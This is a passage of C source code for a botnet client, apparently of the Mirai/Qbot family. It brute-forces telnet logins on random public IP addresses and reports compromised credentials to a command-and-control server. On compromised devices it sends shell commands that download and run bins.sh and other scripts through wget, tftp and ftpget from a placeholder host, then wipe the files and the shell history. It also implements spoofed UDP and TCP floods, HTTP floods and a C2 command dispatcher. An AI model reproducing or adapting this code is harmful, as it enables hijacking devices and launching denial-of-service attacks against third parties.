szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]); | |
return inet_addr(ip); | |
} | |
in_addr_t getRandomPublicIPA() | |
{ | |
int range = rand() % (sizeof(rangesA)/sizeof(char *)); | |
ipState[0] = rangesA[range]; | |
ipState[1] = rand() % 255; | |
ipState[2] = rand() % 255; | |
ipState[3] = rand() % 255; | |
char ip[16] = {0}; | |
szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]); | |
return inet_addr(ip); | |
} | |
in_addr_t getRandomPublicIPB() | |
{ | |
int range = rand() % (sizeof(rangesB1)/sizeof(char *)); | |
ipState[0] = rangesB1[range]; | |
ipState[1] = rangesB2[range]; | |
ipState[2] = rand() % 255; | |
ipState[3] = rand() % 255; | |
char ip[16] = {0}; | |
szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]); | |
return inet_addr(ip); | |
} | |
in_addr_t getRandomPublicIPC() | |
{ | |
int range = rand() % (sizeof(rangesC1)/sizeof(char *)); | |
ipState[0] = rangesC1[range]; | |
ipState[1] = rangesC2[range]; | |
ipState[2] = rangesC3[range]; | |
ipState[3] = rand() % 255; | |
char ip[16] = {0}; | |
szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]); | |
return inet_addr(ip); | |
} | |
in_addr_t findARandomIP() | |
{ | |
if(rangechoice < 1 || rangechoice > 5){ | |
return getRandomPublicIP(); | |
}else{ | |
if(rangechoice == 1){ | |
return getRandomPublicIP2(); | |
}else if(rangechoice == 2){ | |
return getRandomPublicIPA(); | |
}else if(rangechoice == 3){ | |
return getRandomPublicIPB(); | |
}else if(rangechoice == 4){ | |
return getRandomPublicIPC(); | |
}else{ | |
return getRandomPublicIP(); | |
} | |
} | |
} | |
in_addr_t getRandomIP(in_addr_t netmask) | |
{ | |
in_addr_t tmp = ntohl(ourIP.s_addr) & netmask; | |
return tmp ^ ( rand_cmwc() & ~netmask); | |
} | |
unsigned short csum (unsigned short *buf, int count) | |
{ | |
register uint64_t sum = 0; | |
while( count > 1 ) { sum += *buf++; count -= 2; } | |
if(count > 0) { sum += *(unsigned char *)buf; } | |
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); } | |
return (uint16_t)(~sum); | |
} | |
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) | |
{ | |
struct tcp_pseudo | |
{ | |
unsigned long src_addr; | |
unsigned long dst_addr; | |
unsigned char zero; | |
unsigned char proto; | |
unsigned short length; | |
} pseudohead; | |
unsigned short total_len = iph->tot_len; | |
pseudohead.src_addr=iph->saddr; | |
pseudohead.dst_addr=iph->daddr; | |
pseudohead.zero=0; | |
pseudohead.proto=IPPROTO_TCP; | |
pseudohead.length=htons(sizeof(struct tcphdr)); | |
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr); | |
unsigned short *tcp = malloc(totaltcp_len); | |
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo)); | |
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr)); | |
unsigned short output = csum(tcp,totaltcp_len); | |
free(tcp); | |
return output; | |
} | |
void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) | |
{ | |
iph->ihl = 5; | |
iph->version = 4; | |
iph->tos = 0; | |
iph->tot_len = sizeof(struct iphdr) + packetSize; | |
iph->id = rand_cmwc(); | |
iph->frag_off = 0; | |
iph->ttl = MAXTTL; | |
iph->protocol = protocol; | |
iph->check = 0; | |
iph->saddr = source; | |
iph->daddr = dest; | |
} | |
int sclose(int fd) | |
{ | |
if(3 > fd) return 1; | |
close(fd); | |
return 0; | |
} | |
int socket_connect(char *host, in_port_t port){ | |
struct hostent *hp; | |
struct sockaddr_in addr; | |
int on = 1, sock; | |
if((hp = gethostbyname(host)) == NULL){ | |
herror("gethostbyname"); | |
exit(1); | |
} | |
bcopy(hp->h_addr, &addr.sin_addr, hp->h_length); | |
addr.sin_port = htons(port); | |
addr.sin_family = AF_INET; | |
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); | |
setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int)); | |
if(sock == -1){ | |
perror("setsockopt"); | |
exit(1); | |
} | |
if(connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1){ | |
perror("connect"); | |
exit(1); | |
} | |
return sock; | |
} | |
void ZeroEchoLoader() | |
{ | |
char buffer[BUFFER_SIZE]; | |
int fd; | |
fd = socket_connect("0.0.0.0.0", 80); | |
write(fd, "GET bins.sh\r\n", strlen("GET bins.sh\r\n")); //write(fd, char[]*, len); | |
bzero(buffer, BUFFER_SIZE); | |
while(read(fd, buffer, BUFFER_SIZE - 1) != 0){ | |
FILE *f; | |
f = fopen("x", "a"); | |
fprintf(f, "%s", buffer); | |
fclose(f); | |
bzero(buffer, BUFFER_SIZE); | |
} | |
shutdown(fd, SHUT_RDWR); | |
close(fd); | |
} | |
void StartTheLelz(int wait_usec, int maxfds) | |
{ | |
int i, res, num_tmps, j; | |
char buf[128], cur_dir; | |
int max = maxfds; | |
fd_set fdset; | |
struct timeval tv; | |
socklen_t lon; | |
int valopt; | |
srand(time(NULL) ^ rand_cmwc()); | |
char line[256]; | |
char* buffer; | |
struct sockaddr_in dest_addr; | |
dest_addr.sin_family = AF_INET; | |
dest_addr.sin_port = htons(23); | |
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); | |
buffer = malloc(BUFFER_SIZE + 1); | |
memset(buffer, 0, BUFFER_SIZE + 1); | |
struct telstate_t fds[max]; | |
memset(fds, 0, max * (sizeof(int) + 1)); | |
for(i = 0; i < max; i++) | |
{ | |
memset(&(fds[i]), 0, sizeof(struct telstate_t)); | |
fds[i].complete = 1; | |
fds[i].sockbuf = buffer; | |
} | |
for(num_tmps = 0; tmpdirs[++num_tmps] != 0; ); | |
while(1) | |
{ | |
for(i = 0; i < max; i++) | |
{ | |
if(fds[i].totalTimeout == 0) | |
{ | |
fds[i].totalTimeout = time(NULL); | |
} | |
switch(fds[i].state) | |
{ | |
case 0: | |
{ | |
if(fds[i].complete == 1) | |
{ | |
// clear the current fd | |
char *tmp = fds[i].sockbuf; | |
memset(&(fds[i]), 0, sizeof(struct telstate_t)); | |
fds[i].sockbuf = tmp; | |
// get a new random ip | |
fds[i].ip = findARandomIP(); | |
} | |
else if(fds[i].complete == 0) | |
{ | |
fds[i].passwordInd++; | |
fds[i].usernameInd++; | |
if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) | |
{ | |
fds[i].complete = 1; | |
continue; | |
} | |
if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) | |
{ | |
fds[i].complete = 1; | |
continue; | |
} | |
} | |
dest_addr.sin_family = AF_INET; | |
dest_addr.sin_port = htons(23); | |
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); | |
dest_addr.sin_addr.s_addr = fds[i].ip; | |
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0); | |
if(fds[i].fd == -1) continue; | |
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK); | |
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) | |
{ | |
reset_telstate(&fds[i]); | |
} | |
else | |
{ | |
advance_state(&fds[i], 1); | |
} | |
} | |
break; | |
case 1: | |
{ | |
FD_ZERO(&fdset); | |
FD_SET(fds[i].fd, &fdset); | |
tv.tv_sec = 0; | |
tv.tv_usec = wait_usec; | |
res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv); | |
if(res == 1) | |
{ | |
lon = sizeof(int); | |
valopt = 0; | |
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon); | |
printf("%d\n",valopt); | |
if(valopt) | |
{ | |
reset_telstate(&fds[i]); | |
} | |
else | |
{ | |
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK)); | |
advance_state(&fds[i], 2); | |
} | |
continue; | |
} | |
else if(res == -1) | |
{ | |
reset_telstate(&fds[i]); | |
continue; | |
} | |
if(fds[i].totalTimeout + 6 < time(NULL)) | |
{ | |
reset_telstate(&fds[i]); | |
} | |
} | |
break; | |
case 2: | |
{ | |
if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) | |
{ | |
if(contains_fail(fds[i].sockbuf)) | |
{ | |
advance_state(&fds[i], 0); | |
} | |
else | |
{ | |
advance_state(&fds[i], 3); | |
} | |
continue; | |
} | |
if(fds[i].totalTimeout + 6 < time(NULL)) | |
{ | |
reset_telstate(&fds[i]); | |
} | |
} | |
break; | |
case 3: | |
{ | |
if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) | |
{ | |
reset_telstate(&fds[i]); | |
continue; | |
} | |
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) | |
{ | |
reset_telstate(&fds[i]); | |
continue; | |
} | |
advance_state(&fds[i], 4); | |
} | |
break; | |
case 4: | |
{ | |
if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) | |
{ | |
if(contains_fail(fds[i].sockbuf)) | |
{ | |
advance_state(&fds[i], 0); | |
} | |
else | |
{ | |
advance_state(&fds[i], 5); | |
} | |
continue; | |
} | |
if(fds[i].totalTimeout + 6 < time(NULL)) | |
{ | |
reset_telstate(&fds[i]); | |
} | |
} | |
break; | |
case 5: | |
{ | |
if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) | |
{ | |
reset_telstate(&fds[i]); | |
continue; | |
} | |
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) | |
{ | |
reset_telstate(&fds[i]); | |
continue; | |
} | |
advance_state(&fds[i], 6); | |
} | |
break; | |
case 6: | |
{ | |
if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) | |
{ | |
fds[i].totalTimeout = time(NULL); | |
if(contains_fail(fds[i].sockbuf)) | |
{ | |
advance_state(&fds[i], 0); | |
} | |
else if(contains_success(fds[i].sockbuf)) | |
{ | |
if(fds[i].complete == 2) | |
{ | |
advance_state(&fds[i], 7); | |
} | |
else | |
{ | |
sockprintf(mainCommSock, "ATTEMPTING TO INFECT - %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]); | |
advance_state(&fds[i], 7); | |
} | |
} | |
else | |
{ | |
reset_telstate(&fds[i]); | |
} | |
continue; | |
} | |
if(fds[i].totalTimeout + 7 < time(NULL)) | |
{ | |
reset_telstate(&fds[i]); | |
} | |
} | |
break; | |
case 7: | |
{ | |
fds[i].totalTimeout = time(NULL); | |
if(send(fds[i].fd, infect, strlen(infect), MSG_NOSIGNAL) < 0) | |
if(send(fds[i].fd, infect2, strlen(infect2), MSG_NOSIGNAL) < 0) | |
{ | |
sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]); | |
reset_telstate(&fds[i]); | |
continue; | |
} | |
if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, infected)) | |
{ | |
if(strcasestr(fds[i].sockbuf, infectedmessage) && fds[i].complete != 3) | |
{ | |
sockprintf(mainCommSock, "G1rn INFECTED - %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]); | |
sockprintf(mainCommSock, "G1rn SECURED - %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]); | |
fds[i].complete = 3; | |
} | |
} | |
if(fds[i].totalTimeout + 25 < time(NULL)) | |
{ | |
if(fds[i].complete !=3){ | |
sockprintf(mainCommSock, "COULDN'T INFECT - %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]); | |
} | |
reset_telstate(&fds[i]); | |
} | |
break; | |
} | |
case 10: | |
{ | |
ZeroEchoLoader(); | |
send(fds[i].fd, "sh bins.sh;chmod +x bins.sh;./bins.sh;rm -rf bins.sh;rm -f bins.sh\r\n", 68, MSG_NOSIGNAL); // sending shell command 3 times to assure execution. | |
fds[i].state = 11; | |
} | |
case 11: | |
{ | |
if(send(fds[i].fd, "/bin/busybox;echo -e 'cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0.0/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 0.0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *'\r\n", 49, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; } | |
fds[i].state = 12; | |
break; | |
} | |
case 12: | |
{ | |
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL); | |
if(readUntil(fds[i].fd, "ulti-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed)) | |
{ | |
fds[i].totalTimeout = 0; | |
fds[i].bufUsed = 0; | |
ZeroEchoLoader(); | |
send(fds[i].fd, "sh bins.sh;chmod +x bins.sh;./bins.sh;rm -rf bins.sh;rm -f bins.sh\r\n", 68, MSG_NOSIGNAL); | |
sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]); | |
continue; | |
} | |
else if(readUntil(fds[i].fd, "G1rn", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed)) | |
{ | |
fds[i].totalTimeout = 0; | |
fds[i].bufUsed = 0; | |
ZeroEchoLoader(); | |
send(fds[i].fd, "sh bins.sh;chmod +x bins.sh;./bins.sh;rm -rf bins.sh;rm -f bins.sh\r\n", 68, MSG_NOSIGNAL); | |
sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]); | |
memset(fds[i].sockbuf, 0, 1024); | |
sclose(fds[i].fd); | |
fds[i].complete = 1; | |
fds[i].state = 0; | |
continue; | |
} | |
else { | |
fds[i].bufUsed = strlen(fds[i].sockbuf); | |
} | |
if(fds[i].totalTimeout + 15 < time(NULL)) | |
{ | |
sclose(fds[i].fd); | |
fds[i].state = 0; | |
fds[i].complete = 1; | |
} | |
break; | |
} | |
} | |
} | |
} | |
} | |
void sendSTD(unsigned char *ip, int port, int secs) { | |
int iSTD_Sock; | |
iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0); | |
time_t start = time(NULL); | |
struct sockaddr_in sin; | |
struct hostent *hp; | |
hp = gethostbyname(ip); | |
bzero((char*) &sin,sizeof(sin)); | |
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); | |
sin.sin_family = hp->h_addrtype; | |
sin.sin_port = port; | |
unsigned int a = 0; | |
while(1){ | |
if (a >= 50) | |
{ | |
send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0); | |
connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin)); | |
if (time(NULL) >= start + secs) | |
{ | |
close(iSTD_Sock); | |
_exit(0); | |
} | |
a = 0; | |
} | |
a++; | |
} | |
} | |
void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime) | |
{ | |
struct sockaddr_in dest_addr; | |
dest_addr.sin_family = AF_INET; | |
if(port == 0) dest_addr.sin_port = rand_cmwc(); | |
else dest_addr.sin_port = htons(port); | |
if(getHost(target, &dest_addr.sin_addr)) return; | |
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); | |
register unsigned int pollRegister; | |
pollRegister = pollinterval; | |
if(spoofit == 32) | |
{ | |
int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); | |
if(!sockfd) | |
{ | |
sockprintf(mainCommSock, "Failed opening raw socket."); | |
return; | |
} | |
unsigned char *buf = (unsigned char *)malloc(packetsize + 1); | |
if(buf == NULL) return; | |
memset(buf, 0, packetsize + 1); | |
makeRandomStr(buf, packetsize); | |
int end = time(NULL) + timeEnd; | |
register unsigned int i = 0; | |
register unsigned int ii = 0; | |
while(1) | |
{ | |
sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); | |
if(i == pollRegister) | |
{ | |
if(port == 0) dest_addr.sin_port = rand_cmwc(); | |
if(time(NULL) > end) break; | |
i = 0; | |
continue; | |
} | |
i++; | |
if(ii == sleepcheck) | |
{ | |
usleep(sleeptime*1000); | |
ii = 0; | |
continue; | |
} | |
ii++; | |
} | |
} else { | |
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP); | |
if(!sockfd) | |
{ | |
sockprintf(mainCommSock, "Failed opening raw socket."); | |
return; | |
} | |
int tmp = 1; | |
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) | |
{ | |
sockprintf(mainCommSock, "Failed setting raw headers mode."); | |
return; | |
} | |
int counter = 50; | |
while(counter--) | |
{ | |
srand(time(NULL) ^ rand_cmwc()); | |
init_rand(rand()); | |
} | |
in_addr_t netmask; | |
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) ); | |
else netmask = ( ~((1 << (32 - spoofit)) - 1) ); | |
unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize]; | |
struct iphdr *iph = (struct iphdr *)packet; | |
struct udphdr *udph = (void *)iph + sizeof(struct iphdr); | |
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize); | |
udph->len = htons(sizeof(struct udphdr) + packetsize); | |
udph->source = rand_cmwc(); | |
udph->dest = (port == 0 ? rand_cmwc() : htons(port)); | |
udph->check = 0; | |
makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize); | |
iph->check = csum ((unsigned short *) packet, iph->tot_len); | |
int end = time(NULL) + timeEnd; | |
register unsigned int i = 0; | |
register unsigned int ii = 0; | |
while(1) | |
{ | |
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); | |
udph->source = rand_cmwc(); | |
udph->dest = (port == 0 ? rand_cmwc() : htons(port)); | |
iph->id = rand_cmwc(); | |
iph->saddr = htonl( getRandomIP(netmask) ); | |
iph->check = csum ((unsigned short *) packet, iph->tot_len); | |
if(i == pollRegister) | |
{ | |
if(time(NULL) > end) break; | |
i = 0; | |
continue; | |
} | |
i++; | |
if(ii == sleepcheck) | |
{ | |
usleep(sleeptime*1000); | |
ii = 0; | |
continue; | |
} | |
ii++; | |
} | |
} | |
} | |
void spoofTest(unsigned char *target, int port) | |
{ | |
struct sockaddr_in dest_addr; | |
dest_addr.sin_family = AF_INET; | |
if(port == 0) dest_addr.sin_port = rand_cmwc(); | |
else dest_addr.sin_port = htons(port); | |
if(getHost(target, &dest_addr.sin_addr)) return; | |
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); | |
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP); | |
if(!sockfd) | |
{ | |
sockprintf(mainCommSock, "Failed opening raw socket."); | |
return; | |
} | |
int tmp = 1; | |
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) | |
{ | |
sockprintf(mainCommSock, "Failed setting raw headers mode."); | |
return; | |
} | |
int counter = 50; | |
while(counter--) | |
{ | |
srand(time(NULL) ^ rand_cmwc()); | |
init_rand(rand()); | |
} | |
in_addr_t netmask; | |
netmask = ( ~((in_addr_t) -1) ); | |
char *test = ""; | |
szprintf(test,"%s",inet_ntoa(ourPublicIP)); | |
unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(test)]; | |
struct iphdr *iph = (struct iphdr *)packet; | |
struct udphdr *udph = (void *)iph + sizeof(struct iphdr); | |
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + strlen(test)); | |
udph->len = htons(sizeof(struct udphdr) + strlen(test)); | |
udph->source = rand_cmwc(); | |
udph->dest = (port == 0 ? rand_cmwc() : htons(port)); | |
udph->check = 0; | |
szprintf((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), "%s", test); | |
iph->check = csum ((unsigned short *) packet, iph->tot_len); | |
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); | |
} | |
void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval) | |
{ | |
register unsigned int pollRegister; | |
pollRegister = pollinterval; | |
struct sockaddr_in dest_addr; | |
dest_addr.sin_family = AF_INET; | |
if(port == 0) dest_addr.sin_port = rand_cmwc(); | |
else dest_addr.sin_port = htons(port); | |
if(getHost(target, &dest_addr.sin_addr)) return; | |
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); | |
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); | |
if(!sockfd) | |
{ | |
sockprintf(mainCommSock, "Failed opening raw socket."); | |
return; | |
} | |
int tmp = 1; | |
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) | |
{ | |
sockprintf(mainCommSock, "Failed setting raw headers mode."); | |
return; | |
} | |
in_addr_t netmask; | |
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) ); | |
else netmask = ( ~((1 << (32 - spoofit)) - 1) ); | |
unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize]; | |
struct iphdr *iph = (struct iphdr *)packet; | |
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr); | |
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize); | |
tcph->source = rand_cmwc(); | |
tcph->seq = rand_cmwc(); | |
tcph->ack_seq = 0; | |
tcph->doff = 5; | |
if(!strcmp(flags, "all")) | |
{ | |
tcph->syn = 1; | |
tcph->rst = 1; | |
tcph->fin = 1; | |
tcph->ack = 1; | |
tcph->psh = 1; | |
} else { | |
unsigned char *pch = strtok(flags, ","); | |
while(pch) | |
{ | |
if(!strcmp(pch, "syn")) | |
{ | |
tcph->syn = 1; | |
} else if(!strcmp(pch, "rst")) | |
{ | |
tcph->rst = 1; | |
} else if(!strcmp(pch, "fin")) | |
{ | |
tcph->fin = 1; | |
} else if(!strcmp(pch, "ack")) | |
{ | |
tcph->ack = 1; | |
} else if(!strcmp(pch, "psh")) | |
{ | |
tcph->psh = 1; | |
} else { | |
sockprintf(mainCommSock, "Invalid flag \"%s\"", pch); | |
} | |
pch = strtok(NULL, ","); | |
} | |
} | |
tcph->window = rand_cmwc(); | |
tcph->check = 0; | |
tcph->urg_ptr = 0; | |
tcph->dest = (port == 0 ? rand_cmwc() : htons(port)); | |
tcph->check = tcpcsum(iph, tcph); | |
iph->check = csum ((unsigned short *) packet, iph->tot_len); | |
int end = time(NULL) + timeEnd; | |
register unsigned int i = 0; | |
while(1) | |
{ | |
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); | |
iph->saddr = htonl( getRandomIP(netmask) ); | |
iph->id = rand_cmwc(); | |
tcph->seq = rand_cmwc(); | |
tcph->source = rand_cmwc(); | |
tcph->check = 0; | |
tcph->check = tcpcsum(iph, tcph); | |
iph->check = csum ((unsigned short *) packet, iph->tot_len); | |
if(i == pollRegister) | |
{ | |
if(time(NULL) > end) break; | |
i = 0; | |
continue; | |
} | |
i++; | |
} | |
} | |
void SendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power) { | |
int socket, i, end = time(NULL) + timeEnd, sendIP = 0; | |
char request[512], buffer[1]; | |
for (i = 0; i < power; i++) { | |
sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, useragents[(rand() % 36)]); | |
if (fork()) { | |
while (end > time(NULL)) { | |
socket = socket_connect(host, port); | |
if (socket != 0) { | |
write(socket, request, strlen(request)); | |
read(socket, buffer, 1); | |
close(socket); | |
} | |
} | |
exit(0); | |
} | |
} | |
} | |
void sendCNC(unsigned char *ip,int port, int end_time) | |
{ | |
int end = time(NULL) + end_time; | |
int sockfd; | |
struct sockaddr_in server; | |
sockfd = socket(AF_INET, SOCK_STREAM, 0); | |
server.sin_addr.s_addr = inet_addr(ip); | |
server.sin_family = AF_INET; | |
server.sin_port = htons(port); | |
while(end > time(NULL)) | |
{ | |
sockfd = socket(AF_INET, SOCK_STREAM, 0); | |
connect(sockfd , (struct sockaddr *)&server , sizeof(server)); | |
sleep(1); | |
close(sockfd); | |
} | |
} | |
void updatemybins() | |
{ | |
int pid; | |
if ( (pid = fork()) == 0) { | |
system("cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;wget http://0.0.0.0.0/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *; history -c"); | |
sleep(5); //sleeping for 5 dont wanna kill all your bots. | |
} else { | |
printf("%d\n", pid); | |
} | |
return; | |
} | |
void processCmd(int argc, unsigned char *argv[]) | |
{ | |
int x; | |
if(!strcmp(argv[0], "PING")) | |
{ | |
sockprintf(mainCommSock, "PONG!"); | |
return; | |
} | |
if(!strcmp(argv[0], "NUP")) | |
{ | |
if(argc > 0){ | |
char *ip = argv[1]; | |
ourPublicIP.s_addr = inet_addr(ip); | |
sockprintf(mainCommSock, "TEST %s", inet_ntoa(ourIP)); | |
} | |
return; | |
} | |
if(!strcmp(argv[0], "SPOOF")) | |
{ | |
if(argc > 2){ | |
char *ip = argv[1]; | |
int port = argv[2]; | |
spoofTest(ip,port); | |
} | |
return; | |
} | |
if(!strcmp(argv[0], "TABLE")) | |
{ | |
sockprintf(mainCommSock, "%d", getdtablesize()); | |
return; | |
} | |
if(!strcmp(argv[0], "UPDATE")) | |
{ | |
sockprintf(mainCommSock, "UPDATING"); | |
sockprintf(mainCommSock, "SUCCESFULLY UPDATED BINS"); | |
updatemybins(1); | |
return; | |
} | |
if(!strcmp(argv[0], "SCANNER")) | |
{ | |
if(argc != 2) | |
{ | |
sockprintf(mainCommSock, "SCANNER ON | OFF"); | |
return; | |
} | |
if(!strcmp(argv[1], "OFF")) | |
{ | |
if(scanPid == 0) return; | |
kill(scanPid, 9); | |
sockprintf(mainCommSock, "SCANNER OFF"); | |
scanPid = 0; | |
} | |
if(!strcmp(argv[1], "ON")) | |
{ | |
if(scanPid != 0) return; | |
uint32_t parent; | |
parent = fork(); | |
int threads = 1000; | |
int timeout = 10; | |
if (parent > 0) { scanPid = parent; return;} | |
else if(parent == -1) return; | |
sockprintf(mainCommSock, "SCANNER Starting On -> %s", inet_ntoa(ourIP)); | |
StartTheLelz(timeout, threads); | |
_exit(0); | |
} | |
} | |
if(!strcmp(argv[0], "GETLOCALIP")) | |
{ | |
sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP)); | |
return; | |
} | |
if(!strcmp(argv[0], "GETPUBLICIP")) | |
{ | |
sockprintf(mainCommSock, "My Public IP: %s", inet_ntoa(ourPublicIP)); | |
return; | |
} | |
if(!strcmp(argv[0], "RANGE")) | |
{ | |
if(argc < 2 || atoi(argv[1]) == -1){ | |
sockprintf(mainCommSock, "RANGE <option 0-4>"); | |
}else{ | |
sockprintf(mainCommSock, "Range %d->%d", rangechoice, atoi(argv[1])); | |
rangechoice = atoi(argv[1]); | |
} | |
return; | |
} | |
if(!strcmp(argv[0], "UDP")) | |
{ | |
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65536 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1)) | |
{ | |
sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)>"); | |
return; | |
} | |
unsigned char *ip = argv[1]; | |
int port = atoi(argv[2]); | |
int time = atoi(argv[3]); | |
int spoofed = atoi(argv[4]); | |
int packetsize = atoi(argv[5]); | |
int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000); | |
int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000); | |
int sleeptime = (argc > 8 ? atoi(argv[8]) : 0); | |
